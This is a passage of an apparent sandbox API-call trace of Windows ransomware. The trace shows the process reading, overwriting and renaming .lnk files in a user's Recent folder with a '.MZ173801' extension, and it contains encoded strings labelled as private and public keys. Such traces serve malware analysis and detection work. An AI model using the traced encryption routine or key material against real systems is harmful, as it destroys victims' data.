lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0148.173] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x3a2 [0148.173] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0148.173] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x3a2, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x3a2, lpOverlapped=0x0) returned 1 [0148.173] CloseHandle (hObject=0x280) returned 1 [0148.173] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\iLaJJJl9bXoFrg4vmuJ.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\ilajjjl9bxofrg4vmuj.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0148.175] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x3a2, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x3a2, lpOverlapped=0x0) returned 1 [0148.176] CloseHandle (hObject=0x280) returned 1 [0148.177] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\iLaJJJl9bXoFrg4vmuJ.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\ilajjjl9bxofrg4vmuj.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\iLaJJJl9bXoFrg4vmuJ.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\ilajjjl9bxofrg4vmuj.lnk.mz173801")) returned 1 [0148.178] GetCurrentThreadId () returned 0xab4 [0148.178] GetCurrentThreadId () returned 0xab4 [0148.178] GetCurrentThreadId () returned 0xab4 [0148.178] GetCurrentThreadId () returned 0xab4 [0148.178] GetCurrentThreadId () returned 0xab4 [0148.178] GetCurrentThreadId () returned 0xab4 [0148.178] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45bee4be, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x45bee4be, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x45bee4be, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x42a, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="jjcfaQYy1u4aYRF.flv.lnk", cAlternateFileName="JJCFAQ~1.LNK")) returned 1 [0148.178] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0148.178] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0148.178] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\jjcfaQYy1u4aYRF.flv.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\jjcfaqyy1u4ayrf.flv.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45bee4be, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x45bee4be, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x45bee4be, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x42a)) returned 1 [0148.178] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\jjcfaQYy1u4aYRF.flv.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\jjcfaqyy1u4ayrf.flv.lnk")) returned 0x20 [0148.179] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\jjcfaQYy1u4aYRF.flv.lnk", dwFileAttributes=0x80) returned 1 [0148.181] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0148.181] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0148.182] GetCurrentThreadId () returned 0xab4 [0148.182] GetCurrentThreadId () returned 0xab4 [0148.182] GetCurrentThreadId () returned 0xab4 [0148.183] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0148.183] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0148.183] GetCurrentThreadId () returned 0xab4 [0148.183] GetCurrentThreadId () returned 0xab4 [0148.183] GetCurrentThreadId () returned 0xab4 [0148.183] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\jjcfaQYy1u4aYRF.flv.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\jjcfaqyy1u4ayrf.flv.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0148.184] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0148.184] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0148.184] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x42a [0148.184] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0148.184] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x42a, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x42a, lpOverlapped=0x0) returned 1 [0148.185] CloseHandle (hObject=0x280) returned 1 [0148.185] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\jjcfaQYy1u4aYRF.flv.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\jjcfaqyy1u4ayrf.flv.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0148.186] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x42a, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x42a, lpOverlapped=0x0) returned 1 [0148.227] CloseHandle (hObject=0x280) returned 1 [0148.228] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\jjcfaQYy1u4aYRF.flv.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\jjcfaqyy1u4ayrf.flv.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\jjcfaQYy1u4aYRF.flv.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\jjcfaqyy1u4ayrf.flv.lnk.mz173801")) returned 1 [0148.229] GetCurrentThreadId () returned 0xab4 [0148.229] GetCurrentThreadId () returned 0xab4 [0148.229] GetCurrentThreadId () returned 0xab4 [0148.229] GetCurrentThreadId () returned 0xab4 [0148.229] GetCurrentThreadId () returned 0xab4 [0148.229] GetCurrentThreadId () returned 0xab4 [0148.229] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefa2207f, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xefa2207f, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xefa2207f, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x3d3, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="Jm-pvNoF7ZQ8Z9U.lnk", cAlternateFileName="JM-PVN~1.LNK")) returned 1 [0148.229] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0148.229] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0148.230] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Jm-pvNoF7ZQ8Z9U.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\jm-pvnof7zq8z9u.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefa2207f, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xefa2207f, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xefa2207f, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x3d3)) returned 1 [0148.230] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Jm-pvNoF7ZQ8Z9U.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\jm-pvnof7zq8z9u.lnk")) returned 0x20 [0148.230] SetFileAttributesW 